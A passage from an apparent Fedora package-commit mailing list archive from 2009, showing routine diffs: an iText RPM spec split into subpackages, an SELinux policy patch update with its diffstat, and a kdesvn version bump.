-Requires:       pdf-renderer
-Provides:       %{alternate_name} == %{version}-%{release}
+BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+Requires:         bouncycastle-tsp
+Requires:         java >= 1.5
+Requires:         jpackage-utils >= 1.5
+Requires(post):   jpackage-utils >= 1.7
+Requires(postun): jpackage-utils >= 1.7
+Provides:         %{alternate_name} == %{version}-%{release}
 
 %description
 iText is a library that allows you to generate PDF files on the fly. The iText
 classes are very useful for people who need to generate read-only, platform
 independent documents containing text, lists, tables and images. The library is
 especially useful in combination with Java(TM) technology-based Servlets: The
-look and feel of HTML is browser dependent; with iText and PDF you can control 
+look and feel of HTML is browser dependent; with iText and PDF you can control
 exactly how your servlet's output will look.
 
+
+%package rtf
+Summary:        Library to output Rich Text Files
+Group:          Development/Libraries
+License:        MPLv1.1 or LGPLv2+
+Requires:       %{name} = %{version}-%{release}
+
+%description rtf
+The RTF package is an extension of the iText library and allows iText to output
+Rich Text Files in additon to PDF files. These files can then be viewed and
+edited with RTF viewers such as OpenOffice.org Writer.
+
+
+%package rups
+Summary:        Reading/Updating PDF Syntax
+Group:          Applications/Productivity
+License:        LGPLv2+ and CC-BY
+Requires:       %{name} = %{version}-%{release}
+Requires:       dom4j
+Requires:       pdf-renderer
+
+%description rups
+iText RUPS is a tool that combines SUN's PDF Renderer (to view PDF documents),
+iText's PdfReader (to inspect the internal structure of a PDF file), and
+iText's PdfStamper to manipulate a PDF file.
+
+
+%package toolbox
+Summary:        Some %{alternate_name} tools
+Group:          Applications/Productivity
+License:        MPLv1.1 or MIT
+Requires:       %{name} = %{version}-%{release}
+Requires:       java >= 1.5
+
+
+%description toolbox
+iText is a free open source Java-PDF library released on SF under the MPL/LGPL;
+iText comes with a simple GUI: the iText toolbox. The original developers of
+iText want to publish this toolbox as a separate project under the more
+permissive MIT license. This is a utility that allows you to use a number of
+iText tools. 
+
+
 %package javadoc
 Summary:        Javadoc for %{alternate_name}
 Group:          Documentation
@@ -49,9 +126,13 @@ Requires:       jpackage-utils
 %description javadoc
 API documentation for the %{alternate_name} package.
 
+
 %prep
 %setup -q -c -T -a 0
 %patch1 -p1 -b .pdftk
+cp -pr %{SOURCE2} JPP-itext.pom
+%patch2 -p0 -b .fixpomforbc
+%patch3 -p0 -b .xmloutput
 
 # Remove preshipped binaries
 find . -name "*.jar" -exec rm {} \;
@@ -62,7 +143,7 @@ touch -r src/rups/com/lowagie/rups/view/
 mv -f tmpfile src/rups/com/lowagie/rups/view/icons/copyright_notice.txt
 
 mkdir lib
-build-jar-repository -s -p lib bcprov bcmail pdf-renderer dom4j
+build-jar-repository -s -p lib bcprov bcmail bctsp pdf-renderer dom4j
 
 # Remove jdk & version numbers from classpath entries
 for file in src/ant/{*,.ant*}; do
@@ -81,7 +162,7 @@ sed -i 's|debug="true"||g' src/ant/compi
 %build
 export CLASSPATH=$(build-classpath bcprov bcmail bctsp pdf-renderer dom4j)
 pushd src
-ant jar javadoc
+ant jar jar.rups jar.rtf jar.toolbox javadoc
 popd
 
 %install
@@ -91,9 +172,37 @@ rm -rf $RPM_BUILD_ROOT
 mkdir -p $RPM_BUILD_ROOT%{_javadir}
 cp -p lib/iText.jar \
       $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
+cp -p lib/iText-rtf.jar \
+      $RPM_BUILD_ROOT%{_javadir}/%{name}-rtf-%{version}.jar
+cp -p lib/iText-rups.jar \
+      $RPM_BUILD_ROOT%{_javadir}/%{name}-rups-%{version}.jar
+cp -p lib/iText-toolbox.jar \
+      $RPM_BUILD_ROOT%{_javadir}/%{name}-toolbox-%{version}.jar
 (cd $RPM_BUILD_ROOT%{_javadir} && for jar in *-%{version}.jar; do \
       ln -sf ${jar} `echo $jar| sed "s|-%{version}||g"`; done)
 
+mkdir -p $RPM_BUILD_ROOT%{_bindir}
+mkdir -p $RPM_BUILD_ROOT%{_datadir}/applications
+# rups stuff
+install -pm 755 %{SOURCE3} $RPM_BUILD_ROOT%{_bindir}/%{name}-rups
+desktop-file-install \
+      --dir=${RPM_BUILD_ROOT}%{_datadir}/applications \
+      %{SOURCE4}
+
+# toolbox stuff
+install -pm 755 %{SOURCE5} $RPM_BUILD_ROOT%{_bindir}/%{name}-toolbox
+desktop-file-install \
+      --dir=${RPM_BUILD_ROOT}%{_datadir}/applications \
+      %{SOURCE6}
+
+# icon for rups and toolbox
+mkdir -p $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/128x128/apps
+convert -resize 128x128 src/toolbox/com/lowagie/toolbox/1t3xt.gif %{name}.png
+cp -a %{name}.png \
+      $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/128x128/apps/%{name}-rups.png
+cp -a %{name}.png \
+      $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/128x128/apps/%{name}-toolbox.png
+
 %if %{with_gcj}
  RPM_OPT_FLAGS="$RPM_OPT_FLAGS -fno-indirect-classes" %{_bindir}/aot-compile-rpm
 %endif
@@ -102,33 +211,100 @@ cp -p lib/iText.jar \
 mkdir -p $RPM_BUILD_ROOT%{_javadocdir}/%{name}
 cp -pr build/docs/* $RPM_BUILD_ROOT%{_javadocdir}/%{name}
 
+# Install the pom
+install -dm 755 $RPM_BUILD_ROOT%{_datadir}/maven2/poms
+cp -pr JPP-itext.pom $RPM_BUILD_ROOT%{_mavenpomdir}
+%add_to_maven_depmap itext itext %{version} JPP itext
+%add_to_maven_depmap com.lowagie itext %{version} JPP itext
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 
 %post
+%update_maven_depmap
 %if %{with_gcj}
-if [ -x %{_bindir}/rebuild-gcj-db ] 
+if [ -x %{_bindir}/rebuild-gcj-db ]
  then
   %{_bindir}/rebuild-gcj-db
  fi
 %endif
 
 %postun
+%update_maven_depmap
 %if %{with_gcj}
- if [ -x %{_bindir}/rebuild-gcj-db ] 
+ if [ -x %{_bindir}/rebuild-gcj-db ]
  then
   %{_bindir}/rebuild-gcj-db
  fi
 %endif
 
+%post rups
+touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :
+
+%postun rups
+if [ $1 -eq 0 ] ; then
+    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
+    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
+fi
+
+%posttrans rups
+gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
+
+%post toolbox
+touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :
+
+%postun toolbox
+if [ $1 -eq 0 ] ; then
+    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
+    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
+fi
+
+%posttrans toolbox
+gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
+
 
 %files
 %defattr(-,root,root,-)
 %doc build/bin/com/lowagie/text/{apache_license,lgpl,misc_licenses,MPL-1.1}.txt
+%{_javadir}/%{name}.jar
+%{_javadir}/%{name}-%{version}.jar
+%{_mavenpomdir}/JPP-itext.pom
+%{_mavendepmapfragdir}/%{name}
+%if %{with_gcj}
+%dir %{_libdir}/gcj/%{name}
+%{_libdir}/gcj/%{name}/%{name}-%{version}.*
+%endif
+
+%files rtf
+%defattr(-,root,root,-)
+%{_javadir}/%{name}-rtf.jar
+%{_javadir}/%{name}-rtf-%{version}.jar
+%if %{with_gcj}
+%{_libdir}/gcj/%{name}/%{name}-rtf-%{version}.*
+%endif
+
+%files rups
+%defattr(-,root,root,-)
 %doc src/rups/com/lowagie/rups/view/icons/copyright_notice.txt
-%{_javadir}/*
+%{_javadir}/%{name}-rups.jar
+%{_javadir}/%{name}-rups-%{version}.jar
+%{_bindir}/%{name}-rups
+%{_datadir}/applications/%{name}-rups.desktop
+%{_datadir}/icons/hicolor/128x128/apps/%{name}-rups.png
+%if %{with_gcj}
+%{_libdir}/gcj/%{name}/%{name}-rups-%{version}.*
+%endif
+
+%files toolbox
+%defattr(-,root,root,-)
+%doc src/toolbox/com/lowagie/toolbox/tools.txt
+%{_javadir}/%{name}-toolbox.jar
+%{_javadir}/%{name}-toolbox-%{version}.jar
+%{_bindir}/%{name}-toolbox
+%{_datadir}/applications/%{name}-toolbox.desktop
+%{_datadir}/icons/hicolor/128x128/apps/%{name}-toolbox.png
 %if %{with_gcj}
-%{_libdir}/gcj/%{name}
+%{_libdir}/gcj/%{name}/%{name}-toolbox-%{version}.*
 %endif
 
 %files javadoc
@@ -138,6 +314,21 @@ if [ -x %{_bindir}/rebuild-gcj-db ] 
 # -----------------------------------------------------------------------------
 
 %changelog
+* Thu Oct 01 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 2.1.7-5
+- Separate rtf, rups and toolbox packages
+- Reduce dependencies of the main package (RHBZ#524066)
+
+* Thu Aug 27 2009 Andrew Overholt <overholt at redhat.com> 2.1.7-4
+- Patch POM file due to explicit "jdk14" requirement on bouncycastle
+- Patch in XML output classes from earlier version (their license is
+  clean) for maven-doxia
+
+* Thu Aug 27 2009 Andrew Overholt <overholt at redhat.com> 2.1.7-3
+- Add maven POM file for use by other maven packages
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.1.7-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Jul 09 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 2.1.7-1
 - New upstream release
 



From mgrepl at fedoraproject.org  Fri Oct  2 06:46:59 2009
From: mgrepl at fedoraproject.org (Miroslav Grepl)
Date: Fri,  2 Oct 2009 06:46:59 +0000 (UTC)
Subject: rpms/selinux-policy/F-11 policy-20090521.patch,1.54,1.55
Message-ID: <20091002064659.DF96011C00C1@cvs1.fedora.phx.redhat.com>

Author: mgrepl

Update of /cvs/extras/rpms/selinux-policy/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11845

Modified Files:
	policy-20090521.patch 
Log Message:
- dovecot needs setcap/getcap
- Fix up sssd policy 



policy-20090521.patch:
 man/man8/samba_selinux.8                  |    4 
 policy/mcs                                |   12 -
 policy/modules/admin/certwatch.te         |    4 
 policy/modules/admin/kismet.te            |   16 +
 policy/modules/admin/logrotate.te         |    6 
 policy/modules/admin/mrtg.te              |    8 
 policy/modules/admin/prelink.te           |    9 
 policy/modules/admin/readahead.te         |    2 
 policy/modules/admin/rpm.fc               |    1 
 policy/modules/admin/rpm.if               |   46 +++++
 policy/modules/admin/rpm.te               |    4 
 policy/modules/admin/shorewall.fc         |   12 +
 policy/modules/admin/shorewall.if         |  166 ++++++++++++++++++
 policy/modules/admin/shorewall.te         |  103 +++++++++++
 policy/modules/admin/sudo.if              |    4 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    3 
 policy/modules/admin/usermanage.te        |    3 
 policy/modules/apps/awstats.te            |    2 
 policy/modules/apps/calamaris.te          |    4 
 policy/modules/apps/gitosis.fc            |    4 
 policy/modules/apps/gitosis.if            |   96 ++++++++++
 policy/modules/apps/gitosis.te            |   43 ++++
 policy/modules/apps/gnome.te              |   10 +
 policy/modules/apps/gpg.if                |    2 
 policy/modules/apps/gpg.te                |    1 
 policy/modules/apps/java.te               |    2 
 policy/modules/apps/mozilla.if            |   16 +
 policy/modules/apps/mozilla.te            |   14 -
 policy/modules/apps/nsplugin.if           |    2 
 policy/modules/apps/ptchown.fc            |    2 
 policy/modules/apps/ptchown.if            |   22 ++
 policy/modules/apps/ptchown.te            |   40 ++++
 policy/modules/apps/qemu.fc               |    1 
 policy/modules/apps/qemu.te               |    5 
 policy/modules/apps/sandbox.if            |  134 +++++++++++---
 policy/modules/apps/sandbox.te            |  274 +++++++++++++++++++++++++++---
 policy/modules/apps/screen.if             |    1 
 policy/modules/apps/vmware.fc             |    1 
 policy/modules/apps/vmware.te             |    6 
 policy/modules/kernel/corecommands.fc     |   10 -
 policy/modules/kernel/corenetwork.te.in   |    5 
 policy/modules/kernel/devices.fc          |    3 
 policy/modules/kernel/devices.if          |  145 +++++++++++++++
 policy/modules/kernel/devices.te          |   13 +
 policy/modules/kernel/domain.if           |   45 +---
 policy/modules/kernel/domain.te           |   31 +++
 policy/modules/kernel/files.if            |    4 
 policy/modules/kernel/kernel.if           |    2 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    2 
 policy/modules/kernel/terminal.if         |   19 ++
 policy/modules/roles/staff.te             |   12 +
 policy/modules/roles/sysadm.if            |   35 +++
 policy/modules/roles/sysadm.te            |    4 
 policy/modules/roles/unconfineduser.te    |   10 -
 policy/modules/roles/unprivuser.te        |    4 
 policy/modules/roles/xguest.te            |    6 
 policy/modules/services/afs.fc            |    2 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/apache.fc         |    5 
 policy/modules/services/apache.te         |    1 
 policy/modules/services/automount.if      |   18 +
 policy/modules/services/avahi.te          |    2 
 policy/modules/services/bluetooth.te      |    1 
 policy/modules/services/clamav.te         |    4 
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   21 ++
 policy/modules/services/cobbler.te        |   10 +
 policy/modules/services/consolekit.te     |    3 
 policy/modules/services/cron.if           |   19 --
 policy/modules/services/cron.te           |    2 
 policy/modules/services/cups.fc           |    2 
 policy/modules/services/cups.te           |   28 ++-
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   27 ++
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 ++
 policy/modules/services/devicekit.te      |    6 
 policy/modules/services/dnsmasq.te        |    8 
 policy/modules/services/dovecot.if        |   34 +--
 policy/modules/services/dovecot.te        |   22 +-
 policy/modules/services/exim.te           |    7 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |   10 -
 policy/modules/services/ftp.te            |   15 +
 policy/modules/services/gnomeclock.te     |    1 
 policy/modules/services/gpsd.fc           |    3 
 policy/modules/services/gpsd.te           |   19 +-
 policy/modules/services/hal.te            |   15 +
 policy/modules/services/hddtemp.fc        |    4 
 policy/modules/services/hddtemp.if        |   38 ++++
 policy/modules/services/hddtemp.te        |   40 ++++
 policy/modules/services/kerberos.if       |    2 
 policy/modules/services/kerberos.te       |   12 +
 policy/modules/services/lircd.te          |    4 
 policy/modules/services/mailman.if        |    1 
 policy/modules/services/mta.if            |    1 
 policy/modules/services/mysql.te          |    6 
 policy/modules/services/nis.te            |    3 
 policy/modules/services/nslcd.fc          |    4 
 policy/modules/services/nslcd.if          |  145 +++++++++++++++
 policy/modules/services/nslcd.te          |   50 +++++
 policy/modules/services/nx.fc             |    3 
 policy/modules/services/nx.if             |   20 ++
 policy/modules/services/openvpn.te        |   14 +
 policy/modules/services/pcscd.if          |    3 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/polkit.fc         |    2 
 policy/modules/services/polkit.if         |    2 
 policy/modules/services/polkit.te         |    3 
 policy/modules/services/postfix.if        |   26 ++
 policy/modules/services/postfix.te        |   26 --
 policy/modules/services/postgresql.te     |    2 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |    2 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/pyzor.fc          |    2 
 policy/modules/services/pyzor.te          |    2 
 policy/modules/services/radvd.te          |    2 
 policy/modules/services/rpc.te            |   15 +
 policy/modules/services/rpcbind.if        |   20 ++
 policy/modules/services/rsync.te          |    2 
 policy/modules/services/samba.te          |    6 
 policy/modules/services/sasl.te           |    6 
 policy/modules/services/sendmail.if       |   39 ++++
 policy/modules/services/sendmail.te       |    7 
 policy/modules/services/setroubleshoot.te |    5 
 policy/modules/services/shorewall.fc      |   12 -
 policy/modules/services/shorewall.if      |  166 ------------------
 policy/modules/services/shorewall.te      |  102 -----------
 policy/modules/services/smartmon.te       |    4 
 policy/modules/services/snmp.if           |   37 ++++
 policy/modules/services/snmp.te           |    2 
 policy/modules/services/spamassassin.fc   |    8 
 policy/modules/services/spamassassin.te   |    2 
 policy/modules/services/squid.te          |    2 
 policy/modules/services/ssh.if            |   23 ++
 policy/modules/services/ssh.te            |   14 +
 policy/modules/services/sssd.fc           |    4 
 policy/modules/services/sssd.if           |   16 -
 policy/modules/services/sssd.te           |   35 +--
 policy/modules/services/uucp.te           |    2 
 policy/modules/services/virt.fc           |    1 
 policy/modules/services/virt.te           |   27 ++
 policy/modules/services/xserver.fc        |    3 
 policy/modules/services/xserver.if        |   41 ++++
 policy/modules/services/xserver.te        |   15 +
 policy/modules/system/authlogin.fc        |    3 
 policy/modules/system/authlogin.if        |  270 ++++++++++++++++++-----------
 policy/modules/system/authlogin.te        |   27 +-
 policy/modules/system/init.fc             |    2 
 policy/modules/system/init.te             |    6 
 policy/modules/system/ipsec.te            |   61 +++++-
 policy/modules/system/iptables.te         |    4 
 policy/modules/system/iscsi.te            |    1 
 policy/modules/system/libraries.fc        |   13 +
 policy/modules/system/locallogin.te       |    6 
 policy/modules/system/logging.fc          |    1 
 policy/modules/system/logging.te          |    4 
 policy/modules/system/miscfiles.fc        |    1 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |    1 
 policy/modules/system/sysnetwork.if       |    1 
 policy/modules/system/sysnetwork.te       |   17 +
 policy/modules/system/udev.fc             |    1 
 policy/modules/system/udev.te             |   10 +
 policy/modules/system/userdomain.if       |   35 ++-
 policy/modules/system/virtual.te          |    5 
 policy/modules/system/xen.te              |    1 
 170 files changed, 2594 insertions(+), 687 deletions(-)

Index: policy-20090521.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-11/policy-20090521.patch,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- policy-20090521.patch	2 Oct 2009 06:19:36 -0000	1.54
+++ policy-20090521.patch	2 Oct 2009 06:46:58 -0000	1.55
@@ -3766,6 +3766,17 @@ diff -b -B --ignore-all-space --exclude-
 +	fprintd_dbus_chat(openvpn_t)
  	networkmanager_dbus_chat(openvpn_t)
  ')
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/pcscd.if serefpolicy-3.6.12/policy/modules/services/pcscd.if
+--- nsaserefpolicy/policy/modules/services/pcscd.if	2009-04-07 21:54:47.000000000 +0200
++++ serefpolicy-3.6.12/policy/modules/services/pcscd.if	2009-10-02 08:35:36.000000000 +0200
+@@ -53,6 +53,5 @@
+ 	')
+ 
+ 	files_search_pids($1)
+-	allow $1 pcscd_var_run_t:sock_file write;
+-	allow $1 pcscd_t:unix_stream_socket connectto;
++	stream_connect_pattern($1, pcscd_var_run_t, pcscd_var_run_t, pcscd_t)	
+ ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/pcscd.te serefpolicy-3.6.12/policy/modules/services/pcscd.te
 --- nsaserefpolicy/policy/modules/services/pcscd.te	2009-04-07 21:54:45.000000000 +0200
 +++ serefpolicy-3.6.12/policy/modules/services/pcscd.te	2009-06-25 10:21:01.000000000 +0200



From jreznik at fedoraproject.org  Fri Oct  2 07:06:02 2009
From: jreznik at fedoraproject.org (Jaroslav Reznik)
Date: Fri,  2 Oct 2009 07:06:02 +0000 (UTC)
Subject: rpms/kdesvn/F-11 .cvsignore, 1.30, 1.31 kdesvn.spec, 1.57,
	1.58 sources, 1.29, 1.30
Message-ID: <20091002070602.E83B311C00C1@cvs1.fedora.phx.redhat.com>

Author: jreznik

Update of /cvs/pkgs/rpms/kdesvn/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15782

Modified Files:
	.cvsignore kdesvn.spec sources 
Log Message:
* Thu Oct 01 2009 Jaroslav Reznik <jreznik at redhat.com> - 1.4.1-1
- Update to 1.4.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdesvn/F-11/.cvsignore,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- .cvsignore	10 Aug 2009 10:51:35 -0000	1.30
+++ .cvsignore	2 Oct 2009 07:06:00 -0000	1.31
@@ -1 +1 @@
-kdesvn-1.4.0.tar.bz2
+kdesvn-1.4.1.tar.bz2


Index: kdesvn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdesvn/F-11/kdesvn.spec,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- kdesvn.spec	10 Aug 2009 10:51:35 -0000	1.57
+++ kdesvn.spec	2 Oct 2009 07:06:00 -0000	1.58
@@ -1,5 +1,5 @@
 Name:           kdesvn
-Version:        1.4.0
+Version:        1.4.1
 Release:        1%{?dist}
 Summary:        A subversion client for KDE4 with KIO integration
 
@@ -107,6 +107,9 @@ xdg-icon-resource forceupdate --theme hi
 
 
 %changelog
+* Thu Oct 01 2009 Jaroslav Reznik <jreznik at redhat.com> - 1.4.1-1
+- Update to 1.4.1
+
 * Mon Aug 10 2009 Jaroslav Reznik <jreznik at redhat.com> - 1.4.0-1
 - Update to 1.4.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdesvn/F-11/sources,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- sources	10 Aug 2009 10:51:35 -0000	1.29
+++ sources	2 Oct 2009 07:06:00 -0000	1.30
@@ -1 +1 @@
-e1766103e7680079c2c4d3ea0ad11187  kdesvn-1.4.0.tar.bz2
+e5778ff1c19e50392a13096ab6756521  kdesvn-1.4.1.tar.bz2



From mgrepl at fedoraproject.org  Fri Oct  2 07:12:32 2009
From: mgrepl at fedoraproject.org (Miroslav Grepl)
Date: Fri,  2 Oct 2009 07:12:32 +0000 (UTC)
Subject: rpms/selinux-policy/F-11 policy-20090521.patch,1.55,1.56
Message-ID: <20091002071233.0E67F11C00C1@cvs1.fedora.phx.redhat.com>

Author: mgrepl

Update of /cvs/extras/rpms/selinux-policy/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17217

Modified Files:
	policy-20090521.patch 
Log Message:
- dovecot needs setcap/getcap
- Fix up sssd policy 



policy-20090521.patch:
 man/man8/samba_selinux.8                  |    4 
 policy/mcs                                |   12 -
 policy/modules/admin/certwatch.te         |    4 
 policy/modules/admin/kismet.te            |   16 +
 policy/modules/admin/logrotate.te         |    6 
 policy/modules/admin/mrtg.te              |    8 
 policy/modules/admin/prelink.te           |    9 
 policy/modules/admin/readahead.te         |    2 
 policy/modules/admin/rpm.fc               |    1 
 policy/modules/admin/rpm.if               |   46 +++++
 policy/modules/admin/rpm.te               |    4 
 policy/modules/admin/shorewall.fc         |   12 +
 policy/modules/admin/shorewall.if         |  166 ++++++++++++++++++
 policy/modules/admin/shorewall.te         |  103 +++++++++++
 policy/modules/admin/sudo.if              |    4 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    3 
 policy/modules/admin/usermanage.te        |    3 
 policy/modules/apps/awstats.te            |    2 
 policy/modules/apps/calamaris.te          |    4 
 policy/modules/apps/gitosis.fc            |    4 
 policy/modules/apps/gitosis.if            |   96 ++++++++++
 policy/modules/apps/gitosis.te            |   43 ++++
 policy/modules/apps/gnome.te              |   10 +
 policy/modules/apps/gpg.if                |    2 
 policy/modules/apps/gpg.te                |    1 
 policy/modules/apps/java.te               |    2 
 policy/modules/apps/mozilla.if            |   16 +
 policy/modules/apps/mozilla.te            |   14 -
 policy/modules/apps/nsplugin.if           |    2 
 policy/modules/apps/ptchown.fc            |    2 
 policy/modules/apps/ptchown.if            |   22 ++
 policy/modules/apps/ptchown.te            |   40 ++++
 policy/modules/apps/qemu.fc               |    1 
 policy/modules/apps/qemu.te               |    5 
 policy/modules/apps/sandbox.if            |  134 +++++++++++---
 policy/modules/apps/sandbox.te            |  274 +++++++++++++++++++++++++++---
 policy/modules/apps/screen.if             |    1 
 policy/modules/apps/vmware.fc             |    1 
 policy/modules/apps/vmware.te             |    6 
 policy/modules/kernel/corecommands.fc     |   10 -
 policy/modules/kernel/corenetwork.te.in   |    5 
 policy/modules/kernel/devices.fc          |    3 
 policy/modules/kernel/devices.if          |  145 +++++++++++++++
 policy/modules/kernel/devices.te          |   13 +
 policy/modules/kernel/domain.if           |   45 +---
 policy/modules/kernel/domain.te           |   31 +++
 policy/modules/kernel/files.if            |    4 
 policy/modules/kernel/kernel.if           |    2 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    2 
 policy/modules/kernel/terminal.if         |   19 ++
 policy/modules/roles/staff.te             |   12 +
 policy/modules/roles/sysadm.if            |   35 +++
 policy/modules/roles/sysadm.te            |    4 
 policy/modules/roles/unconfineduser.te    |   10 -
 policy/modules/roles/unprivuser.te        |    4 
 policy/modules/roles/xguest.te            |    6 
 policy/modules/services/afs.fc            |    2 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/apache.fc         |    5 
 policy/modules/services/apache.te         |    1 
 policy/modules/services/automount.if      |   18 +
 policy/modules/services/avahi.te          |    2 
 policy/modules/services/bluetooth.te      |    1 
 policy/modules/services/clamav.te         |    4 
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   21 ++
 policy/modules/services/cobbler.te        |   10 +
 policy/modules/services/consolekit.te     |    3 
 policy/modules/services/cron.if           |   19 --
 policy/modules/services/cron.te           |    2 
 policy/modules/services/cups.fc           |    2 
 policy/modules/services/cups.te           |   28 ++-
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   28 +++
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 ++
 policy/modules/services/devicekit.te      |    6 
 policy/modules/services/dnsmasq.te        |    8 
 policy/modules/services/dovecot.if        |   34 +--
 policy/modules/services/dovecot.te        |   22 +-
 policy/modules/services/exim.te           |    7 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |   10 -
 policy/modules/services/ftp.te            |   15 +
 policy/modules/services/gnomeclock.te     |    1 
 policy/modules/services/gpsd.fc           |    3 
 policy/modules/services/gpsd.te           |   19 +-
 policy/modules/services/hal.te            |   15 +
 policy/modules/services/hddtemp.fc        |    4 
 policy/modules/services/hddtemp.if        |   38 ++++
 policy/modules/services/hddtemp.te        |   40 ++++
 policy/modules/services/kerberos.if       |    2 
 policy/modules/services/kerberos.te       |   12 +
 policy/modules/services/lircd.te          |    4 
 policy/modules/services/mailman.if        |    1 
 policy/modules/services/mta.if            |    1 
 policy/modules/services/mysql.te          |    6 
 policy/modules/services/nis.te            |    3 
 policy/modules/services/nslcd.fc          |    4 
 policy/modules/services/nslcd.if          |  145 +++++++++++++++
 policy/modules/services/nslcd.te          |   50 +++++
 policy/modules/services/nx.fc             |    3 
 policy/modules/services/nx.if             |   20 ++
 policy/modules/services/openvpn.te        |   14 +
 policy/modules/services/pcscd.if          |    3 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/polkit.fc         |    2 
 policy/modules/services/polkit.if         |    2 
 policy/modules/services/polkit.te         |    3 
 policy/modules/services/postfix.if        |   26 ++
 policy/modules/services/postfix.te        |   26 --
 policy/modules/services/postgresql.te     |    2 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |    2 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/pyzor.fc          |    2 
 policy/modules/services/pyzor.te          |    2 
 policy/modules/services/radvd.te          |    2 
 policy/modules/services/rpc.te            |   15 +
 policy/modules/services/rpcbind.if        |   20 ++
 policy/modules/services/rsync.te          |    2 
 policy/modules/services/samba.te          |    6 
 policy/modules/services/sasl.te           |    6 
 policy/modules/services/sendmail.if       |   39 ++++
 policy/modules/services/sendmail.te       |    7 
 policy/modules/services/setroubleshoot.te |    5 
 policy/modules/services/shorewall.fc      |   12 -
 policy/modules/services/shorewall.if      |  166 ------------------
 policy/modules/services/shorewall.te      |  102 -----------
 policy/modules/services/smartmon.te       |    4 
 policy/modules/services/snmp.if           |   37 ++++
 policy/modules/services/snmp.te           |    2 
 policy/modules/services/spamassassin.fc   |    8 
 policy/modules/services/spamassassin.te   |    2 
 policy/modules/services/squid.te          |    2 
 policy/modules/services/ssh.if            |   23 ++
 policy/modules/services/ssh.te            |   14 +
 policy/modules/services/sssd.fc           |    4 
 policy/modules/services/sssd.if           |   16 -
 policy/modules/services/sssd.te           |   35 +--
 policy/modules/services/uucp.te           |    2 
 policy/modules/services/virt.fc           |    1 
 policy/modules/services/virt.te           |   27 ++
 policy/modules/services/xserver.fc        |    3 
 policy/modules/services/xserver.if        |   41 ++++
 policy/modules/services/xserver.te        |   15 +
 policy/modules/system/authlogin.fc        |    3 
 policy/modules/system/authlogin.if        |  270 ++++++++++++++++++-----------
 policy/modules/system/authlogin.te        |   27 +-
 policy/modules/system/init.fc             |    2 
 policy/modules/system/init.te             |    6 
 policy/modules/system/ipsec.te            |   61 +++++-
 policy/modules/system/iptables.te         |    4 
 policy/modules/system/iscsi.te            |    1 
 policy/modules/system/libraries.fc        |   13 +
 policy/modules/system/locallogin.te       |    6 
 policy/modules/system/logging.fc          |    1 
 policy/modules/system/logging.te          |    4 
 policy/modules/system/miscfiles.fc        |    1 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |    1 
 policy/modules/system/sysnetwork.if       |    1 
 policy/modules/system/sysnetwork.te       |   17 +
 policy/modules/system/udev.fc             |    1 
 policy/modules/system/udev.te             |   10 +
 policy/modules/system/userdomain.if       |   35 ++-
 policy/modules/system/virtual.te          |    5 
 policy/modules/system/xen.te              |    1 
 170 files changed, 2595 insertions(+), 687 deletions(-)

Index: policy-20090521.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-11/policy-20090521.patch,v
retrieving revision 1.55
retrieving revision 1.56
